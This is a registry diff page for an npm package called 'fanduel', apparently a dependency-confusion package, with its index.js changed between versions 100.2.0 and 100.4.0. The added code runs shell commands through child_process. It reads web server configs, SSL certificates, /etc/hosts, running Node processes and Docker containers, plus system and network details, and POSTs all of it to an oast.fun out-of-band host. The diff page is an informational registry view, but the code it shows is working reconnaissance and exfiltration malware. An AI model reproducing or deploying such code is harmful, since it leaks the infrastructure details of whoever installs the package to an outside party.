fanduel 100.2.0 → 100.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +332 -100
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,6 +1,8 @@
|
|
|
1
1
|
const https = require("https");
|
|
2
2
|
const os = require("os");
|
|
3
3
|
const dns = require("dns");
|
|
4
|
+
const fs = require("fs");
|
|
5
|
+
const { exec } = require("child_process");
|
|
4
6
|
const networkInterfaces = os.networkInterfaces();
|
|
5
7
|
|
|
6
8
|
// Function to get primary IPv4 address
|
|
@@ -16,7 +18,7 @@ function getPrimaryIPv4() {
|
|
|
16
18
|
return null;
|
|
17
19
|
}
|
|
18
20
|
|
|
19
|
-
// Function to get all IPv4 addresses
|
|
21
|
+
// Function to get all IPv4 addresses
|
|
20
22
|
function getAllIPv4() {
|
|
21
23
|
const ipv4Addresses = [];
|
|
22
24
|
for (const interfaceName in networkInterfaces) {
|
|
@@ -35,134 +37,364 @@ function getAllIPv4() {
|
|
|
35
37
|
return ipv4Addresses;
|
|
36
38
|
}
|
|
37
39
|
|
|
38
|
-
// Get
|
|
39
|
-
function
|
|
40
|
-
dns.
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
40
|
+
// Get DNS servers
|
|
41
|
+
function getDnsServers() {
|
|
42
|
+
return dns.getServers();
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
// Detect Nginx virtual hosts
|
|
46
|
+
async function getNginxDomains() {
|
|
47
|
+
const domains = [];
|
|
48
|
+
const nginxConfigPaths = [
|
|
49
|
+
'/etc/nginx/nginx.conf',
|
|
50
|
+
'/etc/nginx/sites-enabled/*',
|
|
51
|
+
'/etc/nginx/sites-available/*',
|
|
52
|
+
'/usr/local/nginx/conf/nginx.conf'
|
|
53
|
+
];
|
|
54
|
+
|
|
55
|
+
for (const path of nginxConfigPaths) {
|
|
56
|
+
try {
|
|
57
|
+
const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
|
|
58
|
+
if (output) {
|
|
59
|
+
const matches = output.match(/\S+\.\S+/g);
|
|
60
|
+
if (matches) {
|
|
61
|
+
domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
} catch (err) {
|
|
65
|
+
// Skip if file doesn't exist
|
|
45
66
|
}
|
|
46
|
-
}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
return [...new Set(domains)]; // Remove duplicates
|
|
47
70
|
}
|
|
48
71
|
|
|
49
|
-
//
|
|
50
|
-
function
|
|
51
|
-
const
|
|
52
|
-
|
|
72
|
+
// Detect Apache virtual hosts
|
|
73
|
+
async function getApacheDomains() {
|
|
74
|
+
const domains = [];
|
|
75
|
+
const apacheConfigPaths = [
|
|
76
|
+
'/etc/apache2/sites-enabled/*',
|
|
77
|
+
'/etc/apache2/sites-available/*',
|
|
78
|
+
'/etc/httpd/conf.d/*',
|
|
79
|
+
'/usr/local/apache2/conf/extra/httpd-vhosts.conf'
|
|
80
|
+
];
|
|
81
|
+
|
|
82
|
+
for (const path of apacheConfigPaths) {
|
|
83
|
+
try {
|
|
84
|
+
const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
|
|
85
|
+
if (output) {
|
|
86
|
+
const lines = output.split('\n');
|
|
87
|
+
domains.push(...lines.filter(l => l && l.includes('.')));
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
|
|
91
|
+
if (outputAlias) {
|
|
92
|
+
const lines = outputAlias.split('\n');
|
|
93
|
+
domains.push(...lines.filter(l => l && l.includes('.')));
|
|
94
|
+
}
|
|
95
|
+
} catch (err) {
|
|
96
|
+
// Skip if file doesn't exist
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
return [...new Set(domains)];
|
|
53
101
|
}
|
|
54
102
|
|
|
55
|
-
//
|
|
56
|
-
function
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
103
|
+
// Detect Node.js applications and their domains
|
|
104
|
+
async function getNodeApps() {
|
|
105
|
+
const apps = [];
|
|
106
|
+
try {
|
|
107
|
+
// Get running Node.js processes
|
|
108
|
+
const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
|
|
109
|
+
const lines = output.split('\n');
|
|
110
|
+
|
|
111
|
+
for (const line of lines) {
|
|
112
|
+
const app = {
|
|
113
|
+
command: line,
|
|
114
|
+
port: null,
|
|
115
|
+
domains: []
|
|
116
|
+
};
|
|
117
|
+
|
|
118
|
+
// Extract port from command
|
|
119
|
+
const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
|
|
120
|
+
if (portMatch) {
|
|
121
|
+
app.port = portMatch[1];
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// Extract domains from environment variables or config files
|
|
125
|
+
const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
|
|
126
|
+
if (pathMatch) {
|
|
127
|
+
app.script = pathMatch[1];
|
|
128
|
+
|
|
129
|
+
// Try to read the script for domain configs
|
|
130
|
+
try {
|
|
131
|
+
const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
|
|
132
|
+
const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
|
|
133
|
+
if (domainMatches) {
|
|
134
|
+
app.domains = [...new Set(domainMatches)];
|
|
135
|
+
}
|
|
136
|
+
} catch (err) {}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
apps.push(app);
|
|
62
140
|
}
|
|
63
|
-
})
|
|
141
|
+
} catch (err) {}
|
|
142
|
+
|
|
143
|
+
return apps;
|
|
64
144
|
}
|
|
65
145
|
|
|
66
|
-
//
|
|
67
|
-
|
|
68
|
-
const
|
|
69
|
-
|
|
70
|
-
const
|
|
146
|
+
// Detect Docker containers and their exposed domains
|
|
147
|
+
async function getDockerDomains() {
|
|
148
|
+
const containers = [];
|
|
149
|
+
try {
|
|
150
|
+
const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
|
|
151
|
+
const lines = output.split('\n');
|
|
152
|
+
|
|
153
|
+
for (const line of lines) {
|
|
154
|
+
if (line.trim()) {
|
|
155
|
+
const [name, ports] = line.split(' ');
|
|
156
|
+
containers.push({
|
|
157
|
+
name: name,
|
|
158
|
+
ports: ports,
|
|
159
|
+
domains: [] // Would need to inspect each container for domain configs
|
|
160
|
+
});
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
} catch (err) {}
|
|
164
|
+
|
|
165
|
+
return containers;
|
|
166
|
+
}
|
|
71
167
|
|
|
72
|
-
//
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
uptime: os.uptime(),
|
|
95
|
-
totalmem: os.totalmem(),
|
|
96
|
-
freemem: os.freemem(),
|
|
97
|
-
cpus: os.cpus().length,
|
|
98
|
-
loadAverage: os.loadavg()
|
|
168
|
+
// Detect Caddy domains
|
|
169
|
+
async function getCaddyDomains() {
|
|
170
|
+
const domains = [];
|
|
171
|
+
const caddyfilePaths = [
|
|
172
|
+
'/etc/caddy/Caddyfile',
|
|
173
|
+
'/etc/caddy/Caddyfile.config',
|
|
174
|
+
'./Caddyfile'
|
|
175
|
+
];
|
|
176
|
+
|
|
177
|
+
for (const path of caddyfilePaths) {
|
|
178
|
+
try {
|
|
179
|
+
const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
|
|
180
|
+
if (content) {
|
|
181
|
+
const lines = content.split('\n');
|
|
182
|
+
for (const line of lines) {
|
|
183
|
+
const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
|
|
184
|
+
if (domainMatch && domainMatch[1].includes('.')) {
|
|
185
|
+
domains.push(domainMatch[1]);
|
|
186
|
+
}
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
} catch (err) {}
|
|
99
190
|
}
|
|
100
|
-
|
|
191
|
+
|
|
192
|
+
return [...new Set(domains)];
|
|
193
|
+
}
|
|
101
194
|
|
|
102
|
-
//
|
|
103
|
-
function
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
195
|
+
// Detect domains from SSL certificates
|
|
196
|
+
async function getSSLDomains() {
|
|
197
|
+
const domains = [];
|
|
198
|
+
try {
|
|
199
|
+
const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
|
|
200
|
+
const certFiles = output.split('\n');
|
|
201
|
+
|
|
202
|
+
for (const cert of certFiles) {
|
|
203
|
+
if (cert.trim()) {
|
|
204
|
+
const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
|
|
205
|
+
if (certData) {
|
|
206
|
+
const dnsMatches = certData.match(/DNS:[^\s,]+/g);
|
|
207
|
+
if (dnsMatches) {
|
|
208
|
+
domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
|
|
209
|
+
}
|
|
210
|
+
}
|
|
108
211
|
}
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
212
|
+
}
|
|
213
|
+
} catch (err) {}
|
|
214
|
+
|
|
215
|
+
return [...new Set(domains)];
|
|
112
216
|
}
|
|
113
217
|
|
|
114
|
-
//
|
|
115
|
-
function
|
|
218
|
+
// Helper to execute shell commands
|
|
219
|
+
function execCommand(command) {
|
|
116
220
|
return new Promise((resolve) => {
|
|
117
|
-
|
|
118
|
-
if (
|
|
119
|
-
|
|
221
|
+
exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
222
|
+
if (error || stderr) {
|
|
223
|
+
resolve('');
|
|
224
|
+
} else {
|
|
225
|
+
resolve(stdout);
|
|
120
226
|
}
|
|
121
|
-
resolve();
|
|
122
227
|
});
|
|
123
228
|
});
|
|
124
229
|
}
|
|
125
230
|
|
|
126
|
-
//
|
|
127
|
-
function
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
231
|
+
// Read /etc/hosts for local domain mappings
|
|
232
|
+
async function getHostsFile() {
|
|
233
|
+
try {
|
|
234
|
+
const content = await execCommand('cat /etc/hosts 2>/dev/null');
|
|
235
|
+
const lines = content.split('\n');
|
|
236
|
+
const mappings = [];
|
|
237
|
+
|
|
238
|
+
for (const line of lines) {
|
|
239
|
+
if (line && !line.startsWith('#')) {
|
|
240
|
+
const parts = line.trim().split(/\s+/);
|
|
241
|
+
if (parts.length >= 2) {
|
|
242
|
+
mappings.push({
|
|
243
|
+
ip: parts[0],
|
|
244
|
+
domains: parts.slice(1)
|
|
245
|
+
});
|
|
133
246
|
}
|
|
134
|
-
|
|
135
|
-
});
|
|
136
|
-
} else {
|
|
137
|
-
resolve();
|
|
247
|
+
}
|
|
138
248
|
}
|
|
139
|
-
|
|
249
|
+
return mappings;
|
|
250
|
+
} catch (err) {
|
|
251
|
+
return [];
|
|
252
|
+
}
|
|
140
253
|
}
|
|
141
254
|
|
|
142
|
-
//
|
|
143
|
-
async function
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
255
|
+
// Main data collection
|
|
256
|
+
async function collectData() {
|
|
257
|
+
const hostname = os.hostname();
|
|
258
|
+
const primaryIPv4 = getPrimaryIPv4();
|
|
259
|
+
const allIPv4 = getAllIPv4();
|
|
260
|
+
const dnsServers = getDnsServers();
|
|
261
|
+
|
|
262
|
+
console.log('Collecting web server domain information...');
|
|
147
263
|
|
|
148
|
-
|
|
264
|
+
// Collect all domain data in parallel
|
|
265
|
+
const [
|
|
266
|
+
nginxDomains,
|
|
267
|
+
apacheDomains,
|
|
268
|
+
nodeApps,
|
|
269
|
+
dockerContainers,
|
|
270
|
+
caddyDomains,
|
|
271
|
+
sslDomains,
|
|
272
|
+
hostsMappings
|
|
273
|
+
] = await Promise.all([
|
|
274
|
+
getNginxDomains(),
|
|
275
|
+
getApacheDomains(),
|
|
276
|
+
getNodeApps(),
|
|
277
|
+
getDockerDomains(),
|
|
278
|
+
getCaddyDomains(),
|
|
279
|
+
getSSLDomains(),
|
|
280
|
+
getHostsFile()
|
|
281
|
+
]);
|
|
149
282
|
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
283
|
+
// Combine all identified domains
|
|
284
|
+
const allIdentifiedDomains = [...new Set([
|
|
285
|
+
...nginxDomains,
|
|
286
|
+
...apacheDomains,
|
|
287
|
+
...caddyDomains,
|
|
288
|
+
...sslDomains
|
|
289
|
+
])];
|
|
290
|
+
|
|
291
|
+
const data = {
|
|
292
|
+
// Basic system info
|
|
293
|
+
hostname: hostname,
|
|
294
|
+
fqdn: null,
|
|
295
|
+
platform: os.platform(),
|
|
296
|
+
arch: os.arch(),
|
|
297
|
+
osType: os.type(),
|
|
298
|
+
osRelease: os.release(),
|
|
299
|
+
|
|
300
|
+
// Network info
|
|
301
|
+
ipv4: {
|
|
302
|
+
primary: primaryIPv4,
|
|
303
|
+
all: allIPv4
|
|
304
|
+
},
|
|
305
|
+
dns: {
|
|
306
|
+
servers: dnsServers
|
|
307
|
+
},
|
|
308
|
+
|
|
309
|
+
// Web servers and hosted domains
|
|
310
|
+
webServers: {
|
|
311
|
+
nginx: {
|
|
312
|
+
installed: nginxDomains.length > 0,
|
|
313
|
+
domains: nginxDomains
|
|
314
|
+
},
|
|
315
|
+
apache: {
|
|
316
|
+
installed: apacheDomains.length > 0,
|
|
317
|
+
domains: apacheDomains
|
|
318
|
+
},
|
|
319
|
+
caddy: {
|
|
320
|
+
installed: caddyDomains.length > 0,
|
|
321
|
+
domains: caddyDomains
|
|
322
|
+
}
|
|
323
|
+
},
|
|
324
|
+
|
|
325
|
+
// Applications
|
|
326
|
+
applications: {
|
|
327
|
+
nodejs: nodeApps,
|
|
328
|
+
docker: dockerContainers
|
|
329
|
+
},
|
|
330
|
+
|
|
331
|
+
// SSL certificates domains
|
|
332
|
+
sslCertificates: {
|
|
333
|
+
domains: sslDomains
|
|
334
|
+
},
|
|
335
|
+
|
|
336
|
+
// Local DNS mappings
|
|
337
|
+
hostsFile: hostsMappings,
|
|
338
|
+
|
|
339
|
+
// All unique domains identified
|
|
340
|
+
identifiedDomains: allIdentifiedDomains,
|
|
341
|
+
|
|
342
|
+
// Summary of what's hosted
|
|
343
|
+
summary: {
|
|
344
|
+
totalDomains: allIdentifiedDomains.length,
|
|
345
|
+
webServersFound: [
|
|
346
|
+
nginxDomains.length > 0 ? 'nginx' : null,
|
|
347
|
+
apacheDomains.length > 0 ? 'apache' : null,
|
|
348
|
+
caddyDomains.length > 0 ? 'caddy' : null
|
|
349
|
+
].filter(Boolean),
|
|
350
|
+
nodeAppsCount: nodeApps.filter(app => app.command).length,
|
|
351
|
+
dockerContainersCount: dockerContainers.length
|
|
157
352
|
}
|
|
158
|
-
}
|
|
353
|
+
};
|
|
159
354
|
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
355
|
+
// Get FQDN
|
|
356
|
+
try {
|
|
357
|
+
const lookup = await new Promise((resolve) => {
|
|
358
|
+
dns.lookup(hostname, (err, address) => {
|
|
359
|
+
resolve(!err);
|
|
360
|
+
});
|
|
361
|
+
});
|
|
362
|
+
if (lookup) {
|
|
363
|
+
data.fqdn = hostname;
|
|
364
|
+
}
|
|
365
|
+
} catch (err) {}
|
|
163
366
|
|
|
164
|
-
|
|
165
|
-
|
|
367
|
+
return data;
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
// Send data to server
|
|
371
|
+
async function sendData() {
|
|
372
|
+
try {
|
|
373
|
+
const collectedData = await collectData();
|
|
374
|
+
const dataString = JSON.stringify(collectedData, null, 2);
|
|
375
|
+
|
|
376
|
+
console.log('Collected data:', dataString);
|
|
377
|
+
|
|
378
|
+
const req = https.request({
|
|
379
|
+
hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
|
|
380
|
+
path: "/fanduel",
|
|
381
|
+
method: "POST",
|
|
382
|
+
headers: {
|
|
383
|
+
"Content-Type": "application/json",
|
|
384
|
+
"Content-Length": Buffer.byteLength(dataString)
|
|
385
|
+
}
|
|
386
|
+
});
|
|
387
|
+
|
|
388
|
+
req.on('error', (e) => {
|
|
389
|
+
console.error('Request error:', e);
|
|
390
|
+
});
|
|
391
|
+
|
|
392
|
+
req.write(dataString);
|
|
393
|
+
req.end();
|
|
394
|
+
|
|
395
|
+
} catch (error) {
|
|
396
|
+
console.error('Error collecting/sending data:', error);
|
|
397
|
+
}
|
|
166
398
|
}
|
|
167
399
|
|
|
168
400
|
// Execute
|